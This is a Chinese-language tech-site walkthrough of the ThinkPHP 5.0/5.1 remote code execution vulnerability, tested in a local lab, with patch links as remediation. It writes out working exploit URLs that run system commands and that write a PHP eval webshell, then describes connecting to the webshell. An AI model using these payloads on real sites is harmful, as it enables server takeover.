iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ThinkPHP远程代码执行漏洞是什么样的
  • 584
分享到

ThinkPHP远程代码执行漏洞是什么样的

2023-06-04 07:06:05 584人浏览 泡泡鱼
摘要

本篇文章为大家展示了ThinkPHP远程代码执行漏洞是什么样的,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Thinkphp是一个快速、简单的基于mvc和面向对象的轻量级PHP开发框架。Thinkp

本篇文章为大家展示了ThinkPHP远程代码执行漏洞是什么样的,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

Thinkphp是一个快速、简单的基于mvc面向对象的轻量级PHP开发框架

Thinkphp5.x版本中存在一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令

影响范围

Thinkphp 5.1.0 - 5.1.31

Thinkphp 5.0.5 - 5.0.23

漏洞利用

环境介绍:

thinkphp5.0.22+php5.4.45+ apache2.4.23

首先搭建好相应的环境,页面访问如下:

ThinkPHP远程代码执行漏洞是什么样的

当看到框架为thinkphp5.x时,我们需要的就是验证是否存在远程代码执行漏洞

Http:// localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
ThinkPHP远程代码执行漏洞是什么样的
3.确认此处存在远程代码执行后,写入shell

http:// localhost/public/index.php?s =index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php eval(@$_POST['a']); ?>

ThinkPHP远程代码执行漏洞是什么样的
4.尝试用菜刀进行连接,连接成功
ThinkPHP远程代码执行漏洞是什么样的
当然这里我们也可以选择直接上传大马
ThinkPHP远程代码执行漏洞是什么样的
相比手工,我们也可以选择工具直接getshell都是可以的
ThinkPHP远程代码执行漏洞是什么样的
修复建议
1、打补丁:
Thinkphp v5.0.x补丁地址:
https://GitHub.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: 
https://github.com/top-think/framework/commit/802f284bec821a608e7543D91126abc5901b2815
2、更新框架版本

参考链接

exploit地址:

https://www.exploit-db.com/exploits/45978

框架下载地址:

http://www.thinkphp.cn/donate/download/id/1125.html

Docker漏洞环境源码

https://github.com/vulnspy/thinkphp-5.1.29

https://www.gendan5.com

上述内容就是ThinkPHP远程代码执行漏洞是什么样的,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注编程网PHP编程频道。

--结束END--

本文标题: ThinkPHP远程代码执行漏洞是什么样的

本文链接: https://www.lsjlt.com/news/236773.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作